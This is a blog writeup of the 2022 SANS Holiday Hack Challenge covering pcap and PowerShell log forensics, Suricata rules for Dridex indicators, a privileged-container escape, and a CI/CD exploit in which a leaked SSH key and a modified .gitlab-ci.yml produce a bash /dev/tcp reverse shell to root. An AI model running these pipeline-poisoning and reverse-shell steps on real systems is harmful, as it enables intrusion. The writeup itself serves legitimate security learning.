好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

2022 SANS Holiday Hack Challenge writeup (English)

I participated 2022 SANS Holiday Hack Challenge & KringleCon which held from middle December 2022 to 6th January 2023.
The prize term was over, but the challenge site is still working. So I recommend you to register and join this world if you haven't yet. We can learn and have experienced many security categories from this game.

2022.kringlecon.com

I usually write my writeups of CTF in Japanese. But in SANS HolidayHack Challenge, I wrote my report in English and submitted it to the SANS. So I publish this english writeup as well. If you prefer the writeup in Japanese, please check below.

tech.kusuwada.com

For me, the SANS Holiday Hack has become one of my end-of-year traditions. Thank you for providing us the opportunity to have fun learning about technology and security during the holiday term every year!

I found and achieved

  • 16 Objectives
  • 17 achievements

I think, this year, almost all terminal challenges is related to the Objectives. So I wrote the writeup along to the Objectives.

Contents

KringleCon Orientation

As in previous years, there was a very helpful orientation.
But it was new, that I found a A... KTM in front of the gate! It tells me my wallet address, and it implies there are some challenges related to cryptocurrency or smart contract!
Anyway, I kept my wallet address and Key number(hex).

Recover the Tolkien Ring

In Tolkien Ring part, we learned about Log analytics mainly. Since my main area of expertise is DevOps, or System Operation, the room is very interesting and educational in case some trouble will happened.

If I had only solved the challenges, I would have only had to enter "Yes/No", so I could have chosen between two options, or just entered the domain or IP as it appeared, and it would have been accomplished. However, when it came time to write the report, it became necessary to provide evidence for the answers, such as how I analyzed the logs, what the attack flow was, etc., and this led to deeper consideration.

Wireshark Practice

  • Use the Wireshark Phishing terminal in the Tolkien Ring to solve the mysteries around the suspicious PCAP. Get hints for this challenge by typing hint in the upper panel of the terminal.

The elf seems to fished via email. The task is analyze the packet capture (pcap) and answer the terminal questions.
We can get the packet capture file from the elf Sparkle Redberry.

1.There are objects in the PCAP file that can be exported by Wireshark and/or Tshark. What type of objects can be exported from this PCAP?:

I opened the pcap file with wireshark, and tried to export something from the menu File > Export Objects, and found I can export http files. So the answer is http.

2.What is the file name of the largest file we can export?:

I could export these 3 files.

So, largest file was app.php.

3.What packet number starts that app.php file?:

According the image above, 687.

4.What is the IP of the Apache server? :

Checking the packet no. 687,

687  6.512670    192.185.57.242  10.9.24.101 HTTP    1368    HTTP/1.1 200 OK  (text/html)

The server ip is 192.185.57.242.

We can also confirm the server was apache.

5.What file is saved to the infected host?:

In the app.php, I can find the file save script,

saveAs(blob1, 'Ref_Sept24-2020.zip');

So, the file name is the answer.

6.Attackers used bad TLS certificates in this traffic. Which countries were they registered to? Submit the names of the countries in alphabetical order separated by a commas (Ex: Norway, South Korea).:

I set the filter to the wireshark to view only using SSL Certificate traffic.

ssl.handshake.type == 11

And, edit the column info to country, which shows x509sat.CountryName

In this sequences, I found 4 country codes. I search the countryname via this site.

  • IL: Israel
  • US: United States
  • IE: Ireland
  • SS: South Sudan

So, the answer is Ireland, Israel, South Sudan, United States

  1. Is the host infected (Yes/No)?:

I followed the http stream after 687 on wireshark. I right clicked on No 687 packet, and chose Follow > HTTP Stream. Then, I found a suspicious Base64 data.

I extracted the base64 data to suspicious_base64.dat, and decode the data and keep it as a file.

$ cat suspicious_b64.dat | base64 -D > output.zip

and unzip the output file. Then, Ref_Sept24-2020.scr appeared.
I checked the filetype of this file

$ file Ref_Sept24-2020.scr 
Ref_Sept24-2020.scr: PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive

And found it is executable file for windows.
I decided to calcurate sha256 of this file before execute it, and search this hash in virus total.

It says, 45/69 security vendors and 4 sandboxes flagged this file as malicious. So, the file from 192.185.57.242 can be concluded as some kind of trojan.

And after getting this trojan, the host started to contact with the servers which have bad TLS certificates. So, we can say that the host has infected. The answer is, yes.

After my analysis, I found Wireshark Tutorial: Examining Dridex Infection Traffic - by paloaltonetworks, and the situation is very similer to this challenge. I found the bad issuer that includes the common name "heardbellith.Icanwepeh.nagoya" or "psprponounst.aquarelle", which is introduced as examples of Certificate Issuer data for HTTPS C2 traffic by Dridex.

I found also the post-infection activity which directly using IP addresses. The traffics have no associated domain name, with the query below.

(http.request or tls.handshake.type eq 1) and !(ssdp)

So, I found many strong clues for Dridex infection with this pcap file, so I can say the host infected by Dridex.

Windows Event Logs

Investigate the Windows event log mystery in the terminal or offline. Get hints for this challenge by typing hint in the upper panel of the Windows Event Logs terminal.

To be honest, I have MacOS only, so I'm not good at "windows" things hacking... Anyway, try it!
At first, I got the Windows Event Log file from the link.

Grinchum successfully downloaded his keylogger and has gathered the admin credentials! We think he used PowerShell to find the Lembanh recipe and steal our secret ingredient. Luckily, we enabled PowerShell auditing and have exported the Windows PowerShell logs to a flat text file. Please help me analyze this file and answer my questions. Ready to begin?

The first statements implies that the log is from PowerShell.
Because I didn't realize that we have the same file on the terminal, I solved it on my local.

  1. What month/day/year did the attack take place? For example, 09/05/2021.

At first, I checked and found the tool for exchange the evtx to xml or json here.
I exchanged it to xml (but I regret that... it's easier to use json for programing...) with the command below.

$ evtx_dump -f dump.xml -o xml powershell.evtx

After checking the structure of Windows Event Log on xml, I made this program for analyze the date histgram.

#!/usr/bin/env python3
from datetime import datetime
from xml.etree.ElementTree import fromstring, ElementTree

## main

records = []
i = 0
xml = ''

### put xml in arry
with open('dump.xml', 'r') as f:
    for line in f:
        if line.startswith('Record'):
            if i!=0:
                tree = ElementTree(fromstring(xml))
                records.append(tree.getroot())
            i += 1
            xml = ''
        else:
            xml += line
print('Events: ' + str(i))

### extract SystemTime
dates = {}
for record in records:
    for child in record:
        if 'System' in child.tag:
            for item in child:
                if 'TimeCreated' in item.tag:
                    d = datetime.strptime(item.attrib['SystemTime'], '%Y-%m-%dT%H:%M:%S.%fZ')
                    d_f = d.strftime("%m/%d/%y")
                    if d_f in dates.keys():
                        dates[d_f] += 1
                    else:
                        dates[d_f] = 1
print(dates)

The result was,

$ python date_hist.py
Events: 10434
{'10/13/22': 46, '11/01/22': 34, '11/11/22': 240, '11/19/22': 1422, '11/26/22': 36, '12/04/22': 181, '12/13/22': 2088, '12/18/22': 36, '12/23/22': 2811, '12/24/22': 3539}

so, the answer is 12/24/2022.

  1. An attacker got a secret from a file. What was the original file's name?

I grepped "secret" in the dump.xml, and found the status secret ingredient in some records.
In EventRecordID:7905, which executed on 12/24/2022, I found the information

1/2 tsp honey (secret ingredient)

Then, I searched the logs backward, and found the EventRecordID:7903, which command was

CommandInvocation(Get-Content): Get-Content
ParameterBinding(Get-Content): name=Path; value=.\Recipe

So, the answer is Recipe.

  1. The contents of the previous file were retrieved, changed, and stored to a variable by the attacker. This was done multiple times. Submit the last full PowerShell line that performed only these actions.:

from this question, I started to use dump_json.txt which I dumped the log as json file, because it's easy to read for me and program...

I grep Recipe and soon found the statement

$foo = Get-Content .\Recipe| % {$_-replace 'honey','fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'

, and many other similar commands. It seems the attacker assigned the contents in the variable $foo.

I searched $foo from the end of the log file.

$foo | Add-Content -Path 'Recipe'
$foo | Add-Content -Path 'Recipe.txt'
$foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'}

I found these 3 records in (reverse) order.
The last one is including "retrieved, changed, and stored to a variable". So, The last command is the answer.

  1. After storing the altered file contents into the variable, the attacker used the variable to run a separate command that wrote the modified data to a file. This was done multiple times. Submit the last full PowerShell line that performed only this action.:

I got the point of this challenge. I should specify the powershell command for "used the variable to run a separate command that wrote the modified data to a file" and search the command on the log.

I guess this example: "Example 4: Add the contents of a specified file to another file using the pipeline" is very close to our situation, and I searched "Add-Content -Path" from the bottom of the log.

The last command is,

$foo | Add-Content -Path 'Recipe'

So, it's the answer.

  1. The attacker ran the previous command against a file multiple times. What is the name of this file?:

The previous command was Add-Content -Path, so I grepped this command. Found the most used file was, Recipe.txt

  1. Were any files deleted? (Yes/No):

I found the commands below for delete files.

del .\Recipe.txt
del .\recipe_updated.txt

So, answer is Yes.

  1. Was the original file (from question 2) deleted? (Yes/No) :

Because the original file was .\Recipe, but the attacker deleted only .\Recipe.txt and .\recipe_updated.txt. So, the answer is No.

  1. What is the Event ID of the log that shows the actual command line used to delete the file?

The command line I mentioned question No.7 was stated in EventID: 4104.

Record 7936
{
  "Event": {
    "#attributes": {
      "xmlns": "http://schemas.microsoft.com/win/2004/08/events/event"
    },
    "EventData": {
      "MessageNumber": 1,
      "MessageTotal": 1,
      "Path": "",
      "ScriptBlockId": "b0d4f117-b6d4-449b-a179-2c59d6b4f548",
      "ScriptBlockText": "del .\\Recipe.txt"
    },
    "System": {
      "Channel": "Microsoft-Windows-PowerShell/Operational",
      "Computer": "DESKTOP-R65OKRB",
      "Correlation": {
        "#attributes": {
          "ActivityID": "54BDC5C1-F7AB-0001-BA76-BF54ABF7D801"
        }
      },
      "EventID": 4104,
      "EventRecordID": 8428,
      "Execution": {
        "#attributes": {
          "ProcessID": 1216,
          "ThreadID": 4080
        }
...

and for further step, I research the EventIDs for Powershell & counted the EventIDs.
With the minor change for date_hist.py, I created the script for making histogram of the EventIDs from the log. The execution result was,

$ python event_hist.py
Events: 10434
{'4106': 4627, '4103': 939, '4104': 214, '4105': 4627, '40961': 8, '53504': 8, '40962': 8, '4100': 2}

From below pages, I created the table for these EventIDs.

|EventID|Description| |4106 | Command completed | |4105 | Command started | |4103 | Module Logging | |4104 | Powershell Script Block Logging | |40961| PS Console Starting | |53504| PS IPC Listening Started| |40962| PS Console Ready | |4100 | PowerShell Error |

Then, I understood why the actual command was shown on EventID 4104.

  1. Is the secret ingredient compromised (Yes/No)?:

I found the attacker tried to update the recipe with the command below.

$foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'

And, also found the original recipe below.

Recipe from Mixolydian, the Queen of Dorian
Lembanh Original Recipe

2 1/2 all purpose flour
1 Tbsp baking powder
1/4 tsp salt
1/2 c  butter
1/3 c brown sugar
1 tsp cinnamon
1/2 tsp honey (secret ingredient)
2/3 c heavy whipping cream
1/2 tsp vanilla extract
Preheat oven to 425F. Mix the flour, baking powder and salt into a large bowl. Add the butter and mix with a well till fine granules (easiest way is with an electric mixer). Then add the sugar and cinnamon, and mix them thoroughly.
Finally add the cream, honey, and vanilla and stir them in with a fork until a nice, thick dough forms.
Roll the dough out about 1/2 in thickness. Cut out 3-inch squares and transfer the dough to a cookie sheet.Criss-cross each square from corner-to-corner with a knife, lightly (not cutting through the dough).
Bake for about 12 minutes or more (depending on the thickness of the bread) until it is set and lightly golden.
Let cool completely before eating, this bread tastes better room temperature and dry. Also for more flavor you can add more cinnamon or other spices

So, then, The attacker knows the original secret ingredients by fetching the .\Recipe at first, and it's obvious that the attacker tried to fake the secret ingredients to fish oil.

Yes. The secret ingredient is compromised.

  1. What is the secret ingredient?:

As I stated in previous questions, the answer is honey!

I finished this challenge without specific tools other than omerbenamram/evtx, but I hope I could use some useful tools.

Suricata Regatta

Help detect this kind of malicious activity in the future by writing some Suricata rules. Work with Dusty Giftwrap in the Tolkien Ring to get some hints.

I reached the terminal and got the questions.

Use your investigative analysis skills and the suspicious.pcap file to help develop Suricata rules for the elves!
There's a short list of rules started in suricata.rules in your home directory.
First off, the STINC (Santa's Team of Intelligent Naughty Catchers) has a lead for us.
They have some Dridex indicators of compromise to check out. First, please create a Suricata rule to catch DNS lookups for adv.epostoday.uk.
Whenever there's a match, the alert message (msg) should read Known bad DNS lookup, possible Dridex infection.
Add your rule to suricata.rules
Once you think you have it right, run ./rule_checker to see how you've done!
As you get rules correct, rule_checker will ask for more to be added.
If you want to start fresh, you can exit the terminal and start again or cp suricata.rules.backup suricata.rules
Good luck, and thanks for helping save the North Pole!

I got the point of this challenge. I have to investigate the pcap file and find some tendency. And make some rules for Suricata for the elves.

elf@6b3f76705544:~$ ls
HELP  logs  rule_checker  suricata.rules  suricata.rules.backup  suspicious.pcap

I can find the pcap files suspicious.pcap, rule file suricata.rules, its backup file, and the checker.
As the challenge says, if we check the current rule, the checker will tell us what to do next. So, I checked at first.

$ ./rule_checker
...(omit)
That first rule caught 0 packet(s), but we expected 2. Please try again!

Please create a Suricata rule to catch DNS lookups for adv.epostoday.uk.
Whenever there's a match, the alert message (msg) should read Known bad DNS lookup, possible Dridex infection.

I see, I have to pickup dns adv.epostoday.uk. I checked original suricata.rules, and found the similer statement.

alert dns $HOME_NET any -> any any (msg:"ET WEB_CLIENT Malicious Chrome Extension Domain Request (stickies .pro in DNS Lookup)"; dns.query; content:"stickies.pro"; nocase; sid:2025218; rev:4;)

I borrowed this sample and changed as below.

alert dns $HOME_NET any -> any any (msg:"Known bad DNS lookup, possible Dridex infection"; dns.query; content:"adv.epostoday.uk"; sid:1000001;)

At first, I didn't attach the sid, but after this question, I got an error without sid, and I investigate about sid. So in Suricata rule, we should attach sid for each rules within 1000000-1999999, when built-in rules are in the range from 2200000-2299999.

It worked.

$ ./rule_checker
11/12/2022 -- 20:06:10 - <Notice> - This is Suricata version 6.0.8 RELEASE running in USER mode
11/12/2022 -- 20:06:10 - <Notice> - all 9 packet processing threads, 4 management threads initialized, engine started.
11/12/2022 -- 20:06:10 - <Notice> - Signal Received.  Stopping engine.
11/12/2022 -- 20:06:10 - <Notice> - Pcap-file module read 1 files, 5172 packets, 3941260 bytes
First rule looks good!

STINC thanks you for your work with that DNS record! In this PCAP, it points to 192.185.57.242.
Develop a Suricata rule that alerts whenever the infected IP address 192.185.57.242 communicates with internal systems over HTTP.
When there's a match, the message (msg) should read Investigate suspicious connections, possible Dridex infection

For the second indicator, we flagged 0 packet(s), but we expected 681. Please try again!

Next, we have to catch the http transmission between 192.185.57.242 and internal system. I added below rule.

alert http 192.185.57.242 any <> $HOME_NET any (msg:"Investigate suspicious connections, possible Dridex infection"; sid:1000002;)

It worked.

$ ./rule_checker
11/12/2022 -- 20:31:43 - <Notice> - This is Suricata version 6.0.8 RELEASE running in USER mode
11/12/2022 -- 20:31:43 - <Notice> - all 9 packet processing threads, 4 management threads initialized, engine started.
11/12/2022 -- 20:31:43 - <Notice> - Signal Received.  Stopping engine.
11/12/2022 -- 20:31:43 - <Notice> - Pcap-file module read 1 files, 5172 packets, 3941260 bytes
First rule looks good!

Second rule looks good!

We heard that some naughty actors are using TLS certificates with a specific CN.
Develop a Suricata rule to match and alert on an SSL certificate for heardbellith.Icanwepeh.nagoya.
When your rule matches, the message (msg) should read Investigate bad certificates, possible Dridex infection

For the third indicator, we flagged 0 packet(s), but we expected 1. Please try again!

Next, block the transmission which has heardbellith.Icanwepeh.nagoya SSL certificate. I refer this site to make the rule.

alert tcp any any -> any any (msg:"Investigate bad certificates, possible Dridex infection"; tls.subject:"CN=heardbellith.Icanwepeh.nagoya"; sid:1000003;)

Ok, it worked.

$ ./rule_checker
11/12/2022 -- 20:38:20 - <Notice> - This is Suricata version 6.0.8 RELEASE running in USER mode
11/12/2022 -- 20:38:20 - <Notice> - all 9 packet processing threads, 4 management threads initialized, engine started.
11/12/2022 -- 20:38:20 - <Notice> - Signal Received.  Stopping engine.
11/12/2022 -- 20:38:20 - <Notice> - Pcap-file module read 1 files, 5172 packets, 3941260 bytes
First rule looks good!

Second rule looks good!

Third rule looks good!

OK, one more to rule them all and in the darkness find them.
Let's watch for one line from the JavaScript: let byteCharacters = atob
Oh, and that string might be GZip compressed - I hope that's OK!
Just in case they try this again, please alert on that HTTP data with message Suspicious JavaScript function, possible Dridex infection

For the fourth indicator, we flagged 0 packet(s), but we expected 1. Please try again!

It seems we have to catch the http transmission which includes JavaScript: let byteCharacters = atob in data. But, the data might be gzip compressed.
I searched about gzip compression with Suricata, and found this document. According to this document, it reads after decompress. So I attached the rule without decompress processs.

alert http any any -> any any (msg:"Suspicious JavaScript function, possible Dridex infection"; http.response_body; content:"let byteCharacters = atob"; sid:1000004;)

It worked, and the challenge is accomplished.

Recover the Elfen Ring

The challenge I found the most interesting was Elfen Ring's Jolly CI/CD, which gave out hints in an appropriate way, not giving too much information and not too little. It was also interesting as a story, as we could experience how we can do things through the CI/CD environment from credentials that we inadvertently pushed to git. It has become widely recognised as a "must" to protect the security of the production environment, but the security of the development environment and CI/CD pipeline tends to be given a lower priority, and the experience of a developer's "carelessness" actually leading to cyber attacks was very good for education and training purposes.

Clone with a Difference

Use the Wireshark Phishing terminal in the Tolkien Ring to solve the mysteries around the suspicious PCAP. Get hints for this challenge by typing hint in the upper panel of the terminal.

I got the suspicious pcap from this objective challenge. And found the terminal which is on the pier.
The terminal says,

We just need you to clone one repo: git clone git@haugfactory.com:asnowball/aws_scripts.git
This should be easy, right?

Thing is: it doesn't seem to be working for me. This is a public repository though. I'm so confused!

Please clone the repo and cat the README.md file.
Then runtoanswer and tell us the last word of the README.md file!

I think maybe there is some problem for clone this repository, but tried at first.

$ git clone git@haugfactory.com:asnowball/aws_scripts.git
Cloning into 'aws_scripts'...
The authenticity of host 'haugfactory.com (34.171.230.38)' can't be established.
ECDSA key fingerprint is SHA256:CqJXHictW5q0bjAZOknUyA2zzRgSEJLmdMo4nPj5Tmw.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'haugfactory.com,34.171.230.38' (ECDSA) to the list of known hosts.
git@haugfactory.com: Permission denied (publickey).
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

I guess the git configuration is not set properly. But, before that, I remembered that the elf next to this terminal said that "I've heard there's multiple methods", and I know one of them. I tried to use http method for cloning this repository.

$ git clone https://asnowball@haugfactory.com/asnowball/aws_scripts.git
Cloning into 'aws_scripts'...
remote: Enumerating objects: 64, done.
remote: Total 64 (delta 0), reused 0 (delta 0), pack-reused 64
Unpacking objects: 100% (64/64), 23.83 KiB | 1.40 MiB/s, done.

Oh,,, it works!!!
I checked the README.md and picked up the last line.

## Project status
If you have run out of energy or time for your project, put a note at the top of the README saying that development has slowed down or stopped completely. Someone may choose to fork your project or volunteer to step in as a maintainer or owner, allowing your project to keep going. You can also make an explicit request for maintainers.

and run the script runtoanswer.

$ runtoanswer
                                        Read that repo!
What's the last word in the README.md file for the aws_scripts repo?

> maintainers
Your answer: maintainers

Checking......
Your answer is correct!

Yay🙌

Prison Escape

Escape from a container. Get hints for this challenge from Bow Ninecandle in the Elfen Ring. What hex string appears in the host file /home/jailer/.ssh/jail.key.priv?

I found the terminal and check the challenge.

Greetings Noble Player,

You find yourself in a jail with a recently captured Dwarven Elf.

He desperately asks your help in escaping for he is on a quest to aid a friend in a search for treasure inside a crypto-mine.

If you can help him break free of his containment, he claims you would receive "MUCH GLORY!"

Please, do your best to un-contain yourself and find the keys to both of your freedom.
grinchum-land:~$

From the Objective description and this statement, I could guess I'll use some privilege to root (escape from jail) and mount someone's home. But I didn't know where to start.

Because I couldn't find anything at home directory, I visited to the site which given as a hint.

This is the case when the container is running in privileged mode. I chekced the process.

$ cat /proc/1/cgroup
11:blkio:/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
10:perf_event:/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
9:pids:/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
8:devices:/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
7:cpu,cpuacct:/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
6:freezer:/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
5:hugetlb:/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
4:net_cls,net_prio:/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
3:memory:/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
2:cpuset:/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
1:name=systemd:/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
0::/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
grinchum-land:~$

I can see the docker process is running.
Saame as the website, I checked the /dev/ directory.

$ ls /dev/

autofs           loop1   ptp0      tty12  tty24  tty36  tty48  tty6     vcs1   vcsu
btrfs-control    loop2   pts       tty13  tty25  tty37  tty49  tty60    vcs2   vcsu1
core             loop3   random    tty14  tty26  tty38  tty5   tty61    vcs3   vcsu2
cpu              loop4   shm       tty15  tty27  tty39  tty50  tty62    vcs4   vcsu3
cpu_dma_latency  loop5   snapshot  tty16  tty28  tty4   tty51  tty63    vcs5   vcsu4
cuse             loop6   stderr    tty17  tty29  tty40  tty52  tty7     vcs6   vcsu5
fd               loop7   stdin     tty18  tty3   tty41  tty53  tty8     vcsa   vcsu6
full             mem     stdout    tty19  tty30  tty42  tty54  tty9     vcsa1  vda
fuse             mqueue  tty       tty2   tty31  tty43  tty55  ttyS0    vcsa2  vsock
input            net     tty0      tty20  tty32  tty44  tty56  uhid     vcsa3  zero
kmsg             null    tty1      tty21  tty33  tty45  tty57  uinput   vcsa4
loop-control     nvram   tty10     tty22  tty34  tty46  tty58  urandom  vcsa5
loop0            ptmx    tty11     tty23  tty35  tty47  tty59  vcs      vcsa6

Many contents...
Then, I checked the partition and offset of the docker container image.

$ sudo fdisk -l
Disk /dev/vda: 2048 MB, 2147483648 bytes, 4194304 sectors
2048 cylinders, 64 heads, 32 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Disk /dev/vda doesn't contain a valid partition table

The image exists /dev/vda. Let's mount the image as the statement of this challenge.

grinchum-land:~$ sudo mount /dev/vda /mnt
grinchum-land:~$ cd /mnt
grinchum-land:/mnt$ ls
bin   dev  home  lib32  libx32      media  opt   root  sbin  sys  usr
boot  etc  lib   lib64  lost+found  mnt    proc  run   srv   tmp  var

Ok, I could mount the image and found home directory. Then, check the /home/jailer/.ssh/jail.key.priv.

grinchum-land:/mnt$ cd home/jailer/
grinchum-land:/mnt/home/jailer$ ls -a
.  ..  .ssh
grinchum-land:/mnt/home/jailer$ cd .ssh
grinchum-land:/mnt/home/jailer/.ssh$ cat jail.key.priv

                Congratulations!

          You've found the secret for the
          HHC22 container escape challenge!

                     .--._..--.
              ___   ( _'-_  -_.'
          _.-'   `-._|  - :- |
      _.-'           `--...__|
   .-'                       '--..___
  / `._                              \
   `. `._               one           |
     `. `._                           /
       '. `._    :__________....-----'
         `..`---'    |-_  _- |___...----..._
                     |_....--'             `.`.
               _...--'                       `.`.
          _..-'                             _.'.'
       .-'             step                _.'.'
       |                               _.'.'
       |                   __....------'-'
       |     __...------''' _|
       '--'''        |-  - _ |
               _.-''''''''''''''''''-._
            _.'                        |\
          .'                         _.' |
          `._          closer           |:.'
            `._                     _.' |
               `..__                 |  |
                    `---.._.--.    _|  |
                     | _   - | `-.._|_.'
          .--...__   |   -  _|
         .'_      `--.....__ |
        .'_                 `--..__
       .'_                         `.
      .'_    082bb339ec19de4935867   `-.
      `--..____                        _`.
               \`\`\`--...____          _..--'
                     | - _ ```---.._.'
                     |   - _ |
                     |_ -  - |
                     |   - _ |
                     | -_  -_|
                     |   - _ |
                     |   - _ |
                     | -_  -_|

Entering the hex number to the Objective, the challenge accomplished!

Jolly CI/CD

Exploit a CI/CD pipeline. Get hints for this challenge from Tinsel Upatree in the Elfen Ring.

From the title and the conversation with elves, this challenge is related to CI/CD. The goal seems to find and exploit CI/CD misconfigurations or vulnerabilities, and get Rings back from website that are built using this CI/CD pipeline.

I found the target terminal.

######################################################
Mon Dec 12 21:16:56 UTC 2022
On attempt [8] of trying to connect.
If no connection is made after [60] attempts
contact the holidayhack sys admins via discord.
######################################################

Greetings Noble Player,

Many thanks for answering our desperate cry for help!

You may have heard that some evil Sporcs have opened up a web-store selling
counterfeit banners and flags of the many noble houses found in the land of
the North! They have leveraged some dastardly technology to power their
storefront, and this technology is known as PHP!

***gasp***

This strorefront utilizes a truly despicable amount of resources to keep the
website up. And there is only a certain type of Christmas Magic capable of
powering such a thing… an Elfen Ring!

Along with PHP there is something new we've not yet seen in our land.
A technology called Continuous Integration and Continuous Deployment!

Be wary!

Many fair elves have suffered greatly but in doing so, they've managed to
secure you a persistent connection on an internal network.

BTW take excellent notes!

Should you lose your connection or be discovered and evicted the
elves can work to re-establish persistence. In fact, the sound off fans
and the sag in lighting tells me all the systems are booting up again right now.  

Please, for the sake of our Holiday help us recover the Ring and save Christmas!
grinchum-land:~$

I poked around on the terminal, and found several files which seems to be useful.
And, I also recalled the conversation with the Elf who said about CI/CD and he once uploaded some secret information to git accidentally.

That was Tinsel Upatree. He said,

Now that you've helped me with this, I have time to tell you about the deployment tech I've been working on!
Continuous Integration/Continuous Deployment pipelines allow developers to iterate and innovate quickly.
With this project, once I push a commit, a GitLab runner will automatically deploy the changes to production.
WHOOPS! I didn’t mean to commit that to http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git...
Unfortunately, if attackers can get in that pipeline, they can make an awful mess of things!

I guess this repository is related to this challenge.
Then, at first, I tried to clone this repository with http method.

$ git clone http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git

It worked.
I peeked inside the repository. It seems the wordpress project. And considered the Tinsel Upatree's comment, I checked the git log.

$ git log
(...omit...)
commit e19f653bde9ea3de6af21a587e41e7a909db1ca5
Author: knee-oh <sporx@kringlecon.com>
Date:   Tue Oct 25 13:42:54 2022 -0700

    whoops

Oh,,, it's tooooo suspicious... I checked the updates which made in this commit with the command below.

$ git diff e19f653bde9ea3de6af21a587e41e7a909db1ca5 abdea0ebb21b156c01f7533cea3b895c26198c98
diff --git a/.ssh/.deploy b/.ssh/.deploy
new file mode 100644
index 0000000..3f7a9e3
--- /dev/null
+++ b/.ssh/.deploy
@@ -0,0 +1,7 @@
+-----BEGIN OPENSSH PRIVATE KEY-----
+b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
+QyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAJiQFTn3kBU5
+9wAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4g
+AAAEBL0qH+iiHi9Khw6QtD6+DHwFwYc50cwR0HjNsfOVXOcv7AsdI7HOvk4piOcwLZfDot
+PqBj2tDq9NBdTUkbZBriAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ==
+-----END OPENSSH PRIVATE KEY-----
diff --git a/.ssh/.deploy.pub b/.ssh/.deploy.pub
new file mode 100644
index 0000000..8c0b43c
--- /dev/null
+++ b/.ssh/.deploy.pub
@@ -0,0 +1 @@
+ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri sporx@kringlecon.com

Got it! Here's SSH private key for sporx@kringlecon.com!

This key must have the write access to this repository. So, I tried to use this key, and clone this repository again by ssh method.

I created ssh key configuration with the commands below.

$ mkdir ~/.ssh
$ vi ~/.ssh/config

and put bellow setting to .ssh/config

Host gitlab.flag.net.internal
 HostName gitlab.flag.net.internal
 User  git
 IdentityFile ~/.ssh/ssh_host_ed25519_key
vi ~/.ssh/ssh_host_ed25519_key

copy & paste the ssh private key which from the whoops git commit.

$ chmod 600 ~/.ssh/ssh_host_ed25519_key
$ git config --global user.email "sporx@kringlecon.com"
$ git config --global user.name "knee-oh"
$ ssh -v git@gitlab.flag.net.internal

I picked up the user name from git log.
And, checked the ssh connection to the gitlab host.

$ git clone ssh://git@gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git

Ok, I successfully cloned this repository as knee-oh!

Then, I re-confirmed the contents of this repository. Then, I found the file which is related to the CI/CD, .gitlab-ci.yml.

stages:
  - deploy

deploy-job:      
  stage: deploy
  environment: production
  script:
    - rsync -e "ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy" --chown=www-data:www-data -atv --delete --progress ./ root@wordpress.flag.net.internal:/var/www/html

Since I've never use GitLab CI/CD (but only GitHub actions), and there are some differences between GitLab CI/CD and GitHub Actions, I studied how to code the GitLab CI/CD with this site.

The script in this yaml is,

rsync -e 'ssh -i <private key>' <username>@<server address>:<fille to transport> <distination filepath>

So, originally, this script send the local directory to the server wordpress.flag.net.internal as root.

If I changed this command to access self server, maybe we can create the reverse shell connection. Let's try that.
The machine's IP address is,

$ hostname -i
172.18.0.99

The action(GitLab CI/CD) will work after someone push the commit to main, so I changed the script as bellow, and commit & push to origin.

stages:
  - deploy

deploy-job:      
  stage: deploy
  environment: production
  script:
    - ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy root@wordpress.flag.net.internal bash -i >& /dev/tcp/172.18.0.99/8000 0>&1 ls /home/root

I used port 8000, and refer to my blog (Sorry in Japanese).

I hope that will take a few seconds before it starts to work from I push my code to the repository. (because I always have some time lag after I push my commit untill the Github Actions start to work). So I quickly set the port open after the commit & push, and wait.

$ nc -nlvp 8000
Listening on [0.0.0.0] (family 0, port 8000)
Connection from 172.18.1.149 32890 received!
Warning: Permanently added 'wordpress.flag.net.internal' (ED25519) to the list of known hosts.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell

Ok! Very soon, the access has come!!!

root@wordpress:~# cat /flag.txt
cat /flag.txt

                           Congratulations! You've found the HHC2022 Elfen Ring!


                                        ░░░░            ░░░░                                      
                                ░░                              ░░░░                              
                            ░░                                      ░░░░                          
                                                                        ░░                        
                      ░░                                                  ░░░░                    
                                                                              ░░                  
                                      ░░░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░░░                  ░░                
